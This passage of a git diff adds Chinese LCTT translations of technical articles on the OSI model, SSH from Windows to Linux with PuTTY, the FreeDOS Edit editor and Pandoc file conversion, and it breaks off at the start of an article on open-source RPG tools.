原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_laptop_code_programming_mountain_view.jpg?itok=yx5buqkr (Man at laptop on a mountain) +[2]: https://opensource.com/article/19/9/linux-mainframes-part-1 +[3]: https://opensource.com/resources/raspberry-pi +[4]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing +[5]: https://opensource.com/resources/linux +[6]: https://www.redhat.com/architect/edge-computing-essentials +[7]: https://opensource.com/article/20/10/keep-cloud-open diff --git a/published/202207/20210511 What is the OSI model.md b/published/202207/20210511 What is the OSI model.md new file mode 100644 index 0000000000..01b9089954 --- /dev/null +++ b/published/202207/20210511 What is the OSI model.md @@ -0,0 +1,93 @@ +[#]: subject: (What is the OSI model?) +[#]: via: (https://jvns.ca/blog/2021/05/11/what-s-the-osi-model-/) +[#]: author: (Julia Evans https://jvns.ca/) +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14786-1.html) + +OSI 模型是什么? +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/02/153620k7nwc6nn2b6n6p2c.jpg) + +(LCTT 校注:作者原文已经大篇幅进行了修订更新,本文据之前的版本翻译。) + +今天我在推特上发布了一些关于 OSI 模型如何与 TCP/IP 工作原理的实际表现不相符的观点,这让我思考——OSI 模型到底是什么?通过阅读推特上的一些回复发现,似乎至少存在三种不同的思考方式: + +1. TCP/IP 工作原理的字面描述 +2. 一个可以用来描述和比较很多不同的网络协议的抽象模型 +3. 对 1980 年代的一些计算机网络协议的字面描述,这些协议如今大多已不再使用 + +在这篇文章中,我不打算试图争辩以上哪一个才是“真正”的 OSI 模型——似乎不同的人以所有这些方式思考它。这不重要。 + +### OSI 模型有七层 + +在我们讨论 OSI 模型的含义之前,让我们大致地讨论一下它是什么。它是一个抽象模型,用于描述网络如何在七个编号的层上工作: + +- 第一层:物理层 +- 第二层:数据链路层 +- 第三层:网络层 +- 第四层:传输层 +- 第五层:会话层 +- 第六层:表示层 +- 第七层:应用层 + +我不会再费时地去解释每一层的含义,网上有上千种解释可供查询。 + +### OSI 模型:TCP/IP 工作原理的字面描述 + +首先,我想谈谈人们在实践中使用 OSI 模型的一种常见方式:作为对 TCP/IP 工作原理的字面描述。OSI 模型的某些层非常容易映射到 TCP/IP: + +- 第二层对应以太网 +- 第三层对应 IP +- 第四层对应 TCP 或 UDP(或 ICMP 等) +- 第七层对应 TCP 或 UDP 包内的任何内容(例如 DNS 查询) + +这种映射对第二、三、四层很有意义——TCP 数据包有三个标头header对应于这三个层(以太网标头、IP 标头和 TCP 标头)。 + +用数字来描述 TCP 数据包中的不同标头非常有用——如果你说“第二层”,很显然它位于第三层“下方”,因为二比三小。 + +“OSI 模型作为字面描述”的古怪之处在于,第五层和第六层并不真正对应于 TCP/IP 中的任何内容——我听说过很多关于第五层或第六层可能是什么的不同解释(你可以说第五层是 TLS 或其他东西!)但它们没有像第二、三、四层那样“每一层在 TCP 数据包中都有相应的标头”这样的明确对应关系。 + +此外,TCP/IP 的某些部分即使在第二层到第四层也不能很好地适应 OSI 模型——例如,哪一层是 ARP 数据包?ARP 数据包发送一些带有以太网标头的数据,这是否意味着它们是第三层?或是第二层?列出不同 OSI 层的维基百科文章将其归类为“第 2.5 层”,这并不令人满意。 + +因为 OSI 模型有时用于教授 TCP/IP,若搞不清楚它的哪些部分可以映射到 TCP/IP,而哪些部分不能,则会令人困惑。这才是真的问题。 + +### OSI 模型:用于比较网络协议的一个抽象 + +我听说过的另一种关于 OSI 的思考方式是,它是一种抽象,可以用来在许多不同的网络协议之间进行类比。例如,如果你想了解蓝牙协议的工作原理,也许你可以使用 OSI 模型来帮助你——这是我在 [这个网页][1] 上找到的一张图表,显示了蓝牙协议如何适配 OSI 模型。 + +![][2] + +另一个例子是,[这篇维基百科文章][3] 有一个 OSI 层列表,详细划分了哪些特定的网络协议对应于这些 OSI 层。 + +### OSI 模型:一些过时协议的字面描述 + +维基百科上的一些非常简短的研究表明,除了对这七层的抽象描述之外,OSI 模型还包含了 [一组实现这些层的特定协议][4]。显然,这发生在 70 年代和 80 年代的 [协议战争][5] 时期,OSI 模型失败了,TCP/IP 则取得了胜利。 + +这就解释了为什么 OSI 模型无法与 TCP/IP 很好地对应,因为如果当时“获胜”的是 OSI 协议,那么 OSI 模型 _将_ 完全对应于互联网网络的实际工作方式。 + +### 结语 + +我写这篇文章的初衷是,当我最初学习 OSI 模型时,我发现它非常令人困惑(所有这些层是什么?它们是真实存在的吗?这是网络的实际工作原理吗?发生了什么?)我希望有人告诉我这个只使用 TCP/IP 网络协议的人,只需了解 OSI 模型第二、三、四和七层与 TCP/IP 的关系,然后忽略它的所有其他内容即可。所以我希望这篇文章对某些人能有所帮助! + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2021/05/11/what-s-the-osi-model-/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://flylib.com/books/en/4.215.1.116/1/ +[2]: https://jvns.ca/images/bluetooth.gif +[3]: https://en.wikipedia.org/wiki/List_of_network_protocols_(OSI_model) +[4]: https://en.wikipedia.org/wiki/OSI_protocols +[5]: https://en.wikipedia.org/wiki/Protocol_Wars diff --git a/published/202207/20210602 Establish an SSH connection between Windows and Linux.md b/published/202207/20210602 Establish an SSH connection between Windows and Linux.md new file mode 100644 index 0000000000..edc6789ac8 --- /dev/null +++ b/published/202207/20210602 Establish an SSH connection between Windows and Linux.md @@ -0,0 +1,207 @@ +[#]: subject: (Establish an SSH connection between Windows and Linux) +[#]: via: (https://opensource.com/article/21/6/ssh-windows) +[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) +[#]: collector: (lujun9972) +[#]: translator: (yjacks) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14855-1.html) + +如何从 Windows 上用 SSH 连接到 Linux +====== + +> 使用开源的 PuTTY 工具,从 Windows 建立到 Linux 的 SSH 连接。 + +![](https://img.linux.net.cn/data/attachment/album/202207/23/110039pjbd9jbbc84gbz2f.jpg) + +在 Linux 世界中,安全外壳secure shell(SSH)协议是最为常用的、通过命令行控制远程计算机的方式。SSH 是真正的 Linux 原创,但是它在 Windows 世界中也越来越流行。甚至有了一份官方的 [Windows 的 SSH 文档][2],那篇文档阐述了使用 [OpenSSH][3] 控制 Windows 的方法。 + +这篇文章展示了如何使用了流行的开源工具 [PuTTY][4],建立一个从 Windows 到 Fedora 33 Linux 系统的 SSH 连接。 + +### 使用 SSH 的方法 + +SSH 使用客户端-服务器模式,即 SSH 客户端会创建到 SSH 服务端的连接。SSH 服务器通常会作为守护进程Daemon运行,所以它常被称为 SSHD。你很难找到一个不自带 SSH 守护进程的 Linux 发行版。在 Fedora 33 中,已安装了 SSH 守护进程,但是并未激活。 + +你可以使用 SSH 控制几乎所有的 Linux 机器,无论它是作为虚拟机还是作为网络上的物理设备运行。一个常见的用例是无头headless配置的嵌入式设备,如树莓派。SSH 也可以用做一个其它网络服务的隧道。因为 SSH 连接是加密的,所以你可以使用 SSH 作为一个任何默认不提供加密的协议的传输层。 + +在这篇文章中,我将解释使用 SSH 的四个方式:1、如何在 Linux 端配置 SSH 守护进程;2、如何设置远程控制台连接;3、如何通过网络复制文件,4. 如何将 SSH 作为某些协议的隧道。 + +### 1、配置 SSHD + +将 Linux 系统(文中是 Fedora 33)作为 SSH 服务器,允许 PuTTY SSH 客户端进行连接。首先,检查守护进程的 SSH 配置。配置文件放在 `/etc/ssh/sshd_config`,它包含了许多选项,通过取消掉相关行的注释就可以激活: + +``` +#       $OpenBSD: sshd_config,v 1.100 2016/08/15 12:32:04 naddy Exp $ + +# This is the sshd server system-wide configuration file.  See +# sshd_config(5) for more information. + +# This sshd was compiled with PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin + +# The strategy used for options in the default sshd_config shipped with +# OpenSSH is to specify options with their default value where +# possible, but leave them commented.  Uncommented options override the +# default value. + +Include /etc/ssh/sshd_config.d/*.conf + +#Port 22 +#AddressFamily any +#ListenAddress 0.0.0.0 +#ListenAddress :: +``` + +没有取消任何注释的默认配置在这个示例中应该是可以工作的。要检查 SSH 守护进程是否已经运行,输入 `systemctl status sshd`: + +``` +$ systemctl status sshd +● sshd.service - OpenSSH server daemon +   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled) +   Active: active (running) since Fri 2018-06-22 11:12:05 UTC; 2 years 11 months ago +     Docs: man:sshd(8) +           man:sshd_config(5) + Main PID: 577 (sshd) +    Tasks: 1 (limit: 26213) +   CGroup: /system.slice/sshd.service +           └─577 /usr/sbin/sshd -D -oCiphers=[aes256-gcm@openssh.com][5],chacha20-[...] +``` + +如果它处于未激活inactive状态,使用 `systemctl start sshd` 命令启动它。 + +### 2、设置远程控制台 + +在 Windows 下 [下载 PuTTY 安装程序][6],然后安装并打开它。你应看到一个像这样的窗口: + +![PuTTY configuration screen][7] + +在“主机名(或 IP 地址)Host Name (or IP address)”输入框,键入你的 Linux 系统的连接信息。本文设置了一个 Fedora 33 虚拟机,它使用桥接网络适配器,使我可以由 IP 地址 `192.168.1.60` 连接这个系统。点击“打开Open”,应会如图示的打开一个窗口: + +![PutTTY security alert][9] + +这是 SSH 的安全措施之一,是为了防止[中间人攻击][10]man-in-the-middle attack。消息中的指纹应该匹配 Linux 系统中放在 `/etc/ssh/ssh_host_ed25519_key.pub` 的密钥。PuTTY 将这个密钥以 [MD5 哈希值][11] 的方式打印出来。要检查它的真实性,切换到 Linux 系统并打开一个控制台,然后输入: + +``` +ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ed25519_key.pub +``` + +输出应该和 PuTTY 展示的指纹一致: + +``` +$ ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ed25519_key.pub +256 MD5:E4:5F:01:05:D0:F7:DC:A6:32 no comment (ED25519) +``` + +点击“Yes”以确认 PuTTY 的安全提示。主机系统的指纹现在存储在 PuTTY 的信任列表中,其位于 Windows 的注册表中的: + +``` +HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\SshHostKeys +``` + +输入正确的登录凭证,然后你应该进入控制台了,位置在你的用户主目录。 + +![Logged in to SSH][12] + +### 3、通过网络复制文件 + +除了远程控制台,你同样可以使用 PuTTY 通过 SSH 来传输文件。PuTTY 的安装目录在 `C:\Program Files (x86)\PuTTY`,在该目录下寻找 `ppscp.exe`。你既可以使用它从 Linux 系统复制文件,也可以复制文件到 Linux 系统。 + +使用 `Windows + R` 然后输入 `cmd` 来打开命令提示符,从你的 Linux 用户主目录复制 `MYFile.txt` 到你的 Windows 主目录,输入: + +``` +C:\"Program Files (x86)"\PuTTY\pscp.exe stephan@192.168.1.60:/home/stephan/MyFile.txt . +``` + +要从 Windows 主目录复制文件到 Linux 用户主目录,输入: + +``` +C:\"Program Files (x86)"\PuTTY\pscp.exe MyFile.txt stephan@192.168.1.60:/home/stephan/ +``` + +就像你也许已经发现的那样,复制的命令通常构造为: + +``` +pscp.exe +``` + +### 4、隧道化一个协议 + +假设你拥有一个 Linux 机器,为某些特别的应用运行一个基于 HTTP 的服务。你想从你的 Windows 机器通过互联网访问这个 HTTP 服务。而且,你不能将相关的 TCP 端口暴露在公网,因为: + + 1. 这个服务通过 HTTP 而非 HTTPS 运行 + 2. 根本没有用户管理和登录系统 + +乍一看,建立这种架构不产生可怕的漏洞似乎是不可能的。但是 SSH 可简单的为这种情况建立一个安全的解决方案。 + +我将用我的软件项目 [Pythonic][13] 来演示这个过程。在容器中运行。Pythonic 作为容器运行,开放两个 TCP 端口:TCP 端口 7000(主要编辑器)和 TCP 端口 8000([code-server][14] 代码编辑器)。 + +要在一个 Linux 机器上安装 Pythonic ,运行: + +``` +podman pull pythonicautomation/pythonic +podman run -d -p 7000:7000 -p 8000:8000 pythonic +``` + +转向你的 Windows 机器,打开 PuTTy,转到 “连接Connection -> SSH -> 隧道Tunnels”。加入你要转发的两个 TCP 端口: + + * 源:`7000` / 目标:`localhost:7000` + * 源:`8000` / 目标:`localhost:8000` + +![Port forwarding in PuTTY][15] + +然后返回 “会话Session” 部分,并像之前那样建立一个 SSH 链接。打开网页浏览器,然后转到 `http://localhost:7000`;你应该看见像这样的窗口: + +![Pythonic][16] + +你成功的设置了端口转发! + +**警告**: 如果你选择在公网上暴露 TCP 端口 22 ,不要使用易于猜测的登录凭证。你将接受来自全世界的登录请求,它们使用常见的、标准的登录凭证以尝试登录你的 Linux 机器。相反,只允许已知的用户登录。这种登录限制可以通过 [公钥加密][17] 来实现,它使用一个密钥对,其中公钥存储在 SSH 主机上,而私钥保留在客户端。 + +### 调试 + +如果你难以连接你的 Linux 机器,你可以跟踪你的 SSH 守护进程的处理过程: + +``` +journalctl -f -u sshd +``` + +这是一个普通的登录进程,但是其日志级别为 DEBUG,它看起来是这样的 : + +![LogLevel DEBUG output][18] + +### 了解更多 + +这篇文章几乎没有涉及到使用 SSH 的方法。如果你正在寻找一个特定用例的信息,你也许可以在互联网中找到无数的教程。我在工作中使用 PuTTY ,因为它易于设置,在两个操作系统间又具有良好的可操作性,使得它成为连接解决方案里的瑞士军刀。 + +(文内图片来自:Stephan Avenwedde,[CC BY-SA 4.0][8]) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/ssh-windows + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cloud-windows-building-containers.png?itok=0XvZLZ8k (clouds in windows) +[2]: https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview +[3]: https://www.openssh.com/ +[4]: https://www.putty.org/ +[5]: mailto:aes256-gcm@openssh.com +[6]: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html +[7]: https://opensource.com/sites/default/files/uploads/putty_connection_settings.png (PuTTY configuration screen) +[8]: https://creativecommons.org/licenses/by-sa/4.0/ +[9]: https://opensource.com/sites/default/files/uploads/putty_host_key.png (PutTTY security alert) +[10]: https://en.wikipedia.org/wiki/Man-in-the-middle_attack +[11]: https://en.wikipedia.org/wiki/MD5 +[12]: https://opensource.com/sites/default/files/uploads/ssh_successfull_login.png (Logged in to SSH) +[13]: https://github.com/hANSIc99/Pythonic +[14]: https://github.com/cdr/code-server +[15]: https://opensource.com/sites/default/files/uploads/ssh_port_forwarding.png (Port forwarding in PuTTY) +[16]: https://opensource.com/sites/default/files/uploads/pythonic_screen.png (Pythonic) +[17]: https://opensource.com/article/21/4/encryption-decryption-openssl +[18]: https://opensource.com/sites/default/files/uploads/sshd_debug_log.png (LogLevel DEBUG output) diff --git a/published/202207/20210611 How to use the FreeDOS text editor.md b/published/202207/20210611 How to use the FreeDOS text editor.md new file mode 100644 index 0000000000..43f6816f64 --- /dev/null +++ b/published/202207/20210611 How to use the FreeDOS text editor.md @@ -0,0 +1,80 @@ +[#]: subject: (How to use the FreeDOS text editor) +[#]: via: (https://opensource.com/article/21/6/freedos-text-editor) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (yjacks) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14847-1.html) + +如何使用 FreeDOS Edit +====== + +> FreeDOS 提供了一个叫做 FreeDOS Edit 的用户友好的文本编辑器。 + +![](https://img.linux.net.cn/data/attachment/album/202207/20/173027t6ctk5cwf9u988p9.jpg) + +在任何操作系统中,编辑文件都是一项常有的任务。当你想去做一个某事的笔记、写封信给朋友或升级一个系统配置 —— 你需要一个文本编辑器。FreeDOS 提供了一个用户友好的文本编辑器(也许没啥想象力)叫做 “FreeDOS Edit”。 + +### 编辑文件 + +最简单的启用 FreeDOS Edit 的方式就就是输入 `EDIT`。它提供一个空的编辑器窗口。图案背景显示为一个空的“桌面”——提醒你没有编辑任何文件。 + +![FreeDOS Edit:未加载任何文件][2] + +就像多数 DOS 应用程序一样,你可以按下你键盘上的 `Alt` 键来访问 Edit 的菜单。这就激活了这个菜单。在你按下 `Alt` 后,Edit 将切换到“菜单”访问方式,并高亮 “文件File” 菜单。如果你想要访问菜单栏上的一个不同的菜单,可以使用左右方向键。按向下的方向键并按下回车键来“进入”菜单。 + +![高亮菜单][3] + +你注意到所有菜单标题的第一个字母是不同的颜色么?这种高亮字母显示了一种快捷方式。例如,“文件File”菜单的“F”高亮为红色。所以你可以按下 `Alt+F`(`Alt` 和 `F` 同时按下),Edit 会显示“文件File”菜单。 + +![文件菜单][4] + +你可以使用“文件File”菜单来开始一个新的(空)文件,或打开一个存在的文件。让我们开始一个新文件,使用方向键移动到“新建New“然后按下回车键。你也可以用 `Ctrl+N` (`Ctrl` 和 `N` 同时按下)打开一个新文件。 + +![编辑一个新的文件][5] + +此后,编辑文件应该非常简单。大多数熟悉的快捷键都可以在 FreeDOS Edit 中使用:`Ctrl+C` 复制文本,`Ctrl+X` 剪贴文本,和 `Ctrl+V` 将复制的或剪贴的文本粘贴到新的地方。如果你需要在一个长文档中寻找一个特殊文本,按下 `Ctrl+F`。保存你的工作成果,请使用 `Ctrl+S` 以将变更提交到硬盘。 + +### 在 Edit 中编程 + +如果你是个程序员,你也许会发现扩展的 ASCII 表是一个有用的工具。DOS 系统支持“拓展的” ASCII字符集,通常被称之为“代码页 437”。0 到 127 的标准字符包括字母 A 到 Z(大写和小写)、数字和特殊字符,如标点符号。但是,从 128 到 255 的 DOS 拓展字符包括其它语言字符和“画线”元素。DOS 程序员有时需要使用这些拓展 ASCII 字符,所以 FreeDOS Edit 可以很容易地查看所有 ASCII 码和它们的相关字符的表格。 + +要查看这个 ASCII 表,请使用“工具Utilities”菜单,选择“ASCII 表ASCII Table”菜单项,这将显示一个包含该表格的窗口。 + +![在工具菜单找到 ASCII 表][6] + +沿着左边,这张表显示十六进制值“00”到“F0”,顶部展示了单一值“0”到“F”。这些为每个字符的十六进制代码提供了一个快速参考。例如,第一行(00)和第一列(0)中的项目具有十六进制值 00 + 0,即0x00(“NULL”值)。而第五行(40)和第二列(1)中的字符,其数值为 40 + 1,即 0x41(字母 “A”)。 + +![ASCII 表提供一个便于参考的扩展字符表][7] + +当你在表格内移动光标高亮不同的字符时,你会看到表格底部的值发生变化,展示了字符的十进制、十六进制和八进制编码。例如,移动光标以高亮在 C0 行和第 5 列的“行交叉”字符,显示这个扩展字符的代码为 197(十进制)、0xc5(十六进制)和 305(八进制)。在一个程序中,你可以通过输入十六进制值 0xc5 或八进制“转义代码” \305 来引用这个扩展字符。 + +![“行交叉”字符是 197(十进制)、0xc5(十六进制)和 305(八进制)][8] + +请随意浏览 Edit 中的菜单,以发现其他不错的功能。例如,“选项Options”菜单允许你更改 Edit 的行为和外观。如果你喜欢使用更密集的显示,可以使用“显示Display”菜单(在“选项Options”下)将 Edit + 设置为 25、43 或 50 行。你还可以强制 Edit 以单色(黑底白字)或反转模式(白底黑字)显示。 + +(文内图片来自 Jim Hall,CC-BY SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/freedos-text-editor + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[2]: https://opensource.com/sites/default/files/uploads/edit.png (FreeDOS Edit without any files loaded) +[3]: https://opensource.com/sites/default/files/uploads/edit-menu.png (Highlighting the menu) +[4]: https://opensource.com/sites/default/files/uploads/edit-file.png (The File menu) +[5]: https://opensource.com/sites/default/files/uploads/edit-new.png (Editing a new file) +[6]: https://opensource.com/sites/default/files/uploads/utilities-ascii.png (Find the ASCII Table in the Utilities menu) +[7]: https://opensource.com/sites/default/files/uploads/ascii-table-0x00.png (The ASCII Table provides a handy reference for extended characters) +[8]: https://opensource.com/sites/default/files/uploads/ascii-0xc5.png diff --git a/published/202207/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md b/published/202207/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md new file mode 100644 index 0000000000..6125218224 --- /dev/null +++ b/published/202207/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md @@ -0,0 +1,137 @@ +[#]: subject: (How to Convert File Formats With Pandoc in Linux [Quick Guide]) +[#]: via: (https://itsfoss.com/pandoc-convert-file/) +[#]: author: (Bill Dyer https://itsfoss.com/author/bill/) +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14785-1.html) + +如何在 Linux 中使用 Pandoc 转换文件格式 +====== + +在之前的一篇文章中,我介绍了 [使用 pandoc 将少量 Markdown 文件批量转换为 HTML 的过程][1]。在那篇文章中,我创建了多个 HTML 文件,但 Pandoc 可以做的更多。它被称为文档转换的“瑞士军刀” —— 这是有充分理由的。很少有它做不到的事情。 + +[Pandoc][2] 可以将 .docx、.odt、.html、.epub、LaTeX、DocBook 等格式互相转换,或者转换为其他格式,例如 JATS、TEI Simple、AsciiDoc 等。 + +是的,这意味着 Pandoc 可以将 .docx 文件转换为 .pdf 和 .html 文件,但你可能会想:“Word 也可以将文件导出为 .pdf 和 .html。为什么我需要 Pandoc 呢?” + +嗯,本来呢,你这个说法也没错,但考虑到 Pandoc 可以转换这么多格式,它很可能成为你所有转换任务的首选工具。例如,我们中的许多人都知道 [Markdown 编辑器][3] 可以将其 Markdown 文件导出为 .html。而使用 Pandoc 文件也可以转换为许多其他格式。 + +我很少将 Markdown 导出为 HTML。我通常让 Pandoc 来做这件事。 + +### 使用 Pandoc 转换文件格式 + +![][4] + +本文中,我会将 Markdown 文件转换成几种不同的格式。我几乎所有的写作都使用 Markdown 语法,但我经常需要转换为另一种格式:学校作业通常需要的 .docx 格式;我创建的网页通常需要的 .html 格式;工作需要的 .epub 格式;传单和讲义需要的 .pdf 格式;甚至包括一个大学数字人文项目偶尔需要的 TEI Simple 格式。Pandoc 可以轻松处理所有这些格式,甚至更多。 + +首先,你需要 [安装 pandoc][5]。此外,要创建 .pdf 文件,还需要 LaTeX。我最喜欢的套件是 [TeX Live][6]。 + +**注意**:如果你想在安装前试用 pandoc,这里有一个在线试用页面:。 + +#### 安装 pandoc 和 texlive + +Ubuntu 和其他 Debian 发行版的用户可以在终端中输入以下命令: + +``` +sudo apt-get update +sudo apt-get install pandoc texlive +``` + +请注意第二行,你将一次性安装 `pandoc` 和 `texlive`。[apt-get 命令][7] 支持你这样做。不过,我建议你先去喝杯咖啡,因为这可能需要几分钟的时间。 + +#### 开始转换 + +安装完成 `pandoc` 和 `texlive` 后,你就可以尝试用它们来完成一些工作了! + +该项目的示例文档将是一篇文章,该文章于 1894 年 12 月首次发表在《北美评论》上,标题为“如何击退火车劫匪”。我将使用的 Markdown 文件是前一段时间创建的,该文章的一个恢复项目的一部分(LCTT 译注:这是篇一百多年前发表的文章,这是一个数字化“恢复”项目)。 + +我把这篇文章保存为 `how_to_repel_train_robbers.md`,它位于我的 `Documents` 目录下,名为 `samples` 的子目录中。它在 Ghostwriter 中看起来是这样的: + +![在 Ghostwriter 中查看原始的 Markdown 文件][8] + +我想创建此文件的 .docx、.pdf 和 .html 版本。 + +#### 第一次转换 + +首先,我将制作一个 .pdf 副本,因为我在安装 LaTeX 包时遇到了些麻烦。 + +在 `~/Documents/samples/` 目录中,我输入以下,以创建一个 .pdf 文件: + +``` +pandoc -o htrtr.pdf how_to_repel_train_robbers.md +``` + +上述命令将基于 `how_to_repel_train_robbers.md` 文件,创建一个名为 `htrtr.pdf` 的文件。我使用 `htrtr` 作为名称的原因是:嗯,它比 `how_to_repel_train_robbers` 短。`htrtr` 其实是长标题中的单词首字母排列。 + +这是 .pdf 文件制作完成后的一个截图: + +![在 Ocular 中查看的转换后的 PDF 文件][9] + +#### 第二次转换 + +接下来,我想创建一个 .docx 文件。该命令与我用来创建 .pdf 的命令几乎相同,它是: + +``` +pandoc -o htrtr.docx how_to_repel_train_robbers.md +``` + +很快,一个 .docx 文件就创建好了。这是它在 Libre Writer 中的样子: + +![在 Libre Writer 中查看转换后的 DOCX 文件][10] + +#### 第三次转换 + +我可能会想在网上发布这个,所以再多一个支持网页的格式也不错。我将使用以下命令创建一个 .html 文件: + +``` +pandoc -o htrtr.html how_to_repel_train_robbers.md +``` + +同样,创建它的命令与前两次转换非常相似。这是该 .html 文件在浏览器中的样子: + +![在 Firefox 中查看的转换后的 HTML 文件][11] + +#### 注意到什么了吗? + +让我们再看看之前的命令。它们是: + +``` +pandoc -o htrtr.pdf how_to_repel_train_robbers.md +pandoc -o htrtr.docx how_to_repel_train_robbers.md +pandoc -o htrtr.html how_to_repel_train_robbers.md +``` + +这三个命令唯一不同的是 `htrtr` 后的扩展名。这提示你 pandoc 会依赖于你提供的输出文件扩展名(来决定目标转换格式)。 + +### 总结 + +Pandoc 可以做的远不止这里完成的三个小转换。如果你选择使用一个首选格式编写文件,但时不时又需要将文件转换为另一种格式,pandoc 很大概率都能为你完成。 + +现在,既然你已经学会了,你会用它做什么呢?你会把它自动化吗?如果你有一个网站,想供读者下载文章怎么办?你可以修改这些小命令,把它们编写成一个脚本,你的读者可以决定他们想要哪种格式。你可以提供 .docx、.pdf、.odt、.epub 或更多格式。你的读者只需要选择一种格式,然后对应的转换脚本就会执行,最后,你的读者下载他们想要的文件。这是完全可以做到的。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/pandoc-convert-file/ + +作者:[Bill Dyer][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/bill/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/convert-markdown-files/ +[2]: https://pandoc.org/ +[3]: https://itsfoss.com/best-markdown-editors-linux/ +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/06/pandoc-quick-guide.png?resize=800%2C450&ssl=1 +[5]: https://pandoc.org/installing.html +[6]: https://www.tug.org/texlive/ +[7]: https://itsfoss.com/apt-get-linux-guide/ +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_ghostwriter.png?resize=800%2C516&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_ocular.png?resize=800%2C509&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_libre_writer.png?resize=800%2C545&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_firefox.png?resize=800%2C511&ssl=1 diff --git a/published/202207/20211017 How I use open source to play RPGs.md b/published/202207/20211017 How I use open source to play RPGs.md new file mode 100644 index 0000000000..b8ec151f5e --- /dev/null +++ b/published/202207/20211017 How I use open source to play RPGs.md @@ -0,0 +1,107 @@ +[#]: subject: "How I use open source to play RPGs" +[#]: via: "https://opensource.com/article/21/10/open-source-rpgs" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14859-1.html" + +我如何使用开源玩 RPG 游戏 +====== + +> 为角色扮演游戏的所有元素找到一个开源工具。 + +![](https://img.linux.net.cn/data/attachment/album/202207/24/075445ymf5nvigh4t4htfd.jpg) + +我玩过很多桌面角色扮演游戏(RPG),无论是从频率还是种类来说。一般来说,我更喜欢和朋友一起玩 RPG,但在过去的 2 年里,我一直在玩网络游戏。(LCTT 校注:这里的 RPG 游戏指的是那种“传统”的面对面的桌面游戏,而非很多人最初接触的 RPG 电子游戏。) + +起初,我不确定如何在线长期的进行游戏。我知道有很多的工具可以实现,但直到我发现在线桌面游戏的开源世界之前,这些工具没有一个引起我的兴趣。通过一小部分开源应用程序,我已经能够在开源平台上进行我的所有游戏。 + +这也是一年中的好时机,因为最近是 [免费 RPG 日][2](LCTT 校注:今年的这个节日在 7 月 23 日举办)。在免费 RPG 日,桌面角色扮演游戏行业的发行商们会免费发放游戏,鼓励玩家尝试新游戏和新冒险。尽管它在 2020 年被取消了,但今年它又作为现场活动回归,并通过 [Dungeon Crawl Classics][3] 和 [Paizo][4] 的免费 RPG 示例下载提供了一些虚拟支持。 + +如果这个活动提供的虚拟产品还不够,我还整理了一份 [你可能尚未尝试过的 5 个开源桌面 RPG 游戏列表][5]。 + +当你准备好开始玩游戏时,请尝试其中一些开源工具,看看它们能在多大程度上增强你的游戏体验。 + +### 聊天 + +在线 RPG 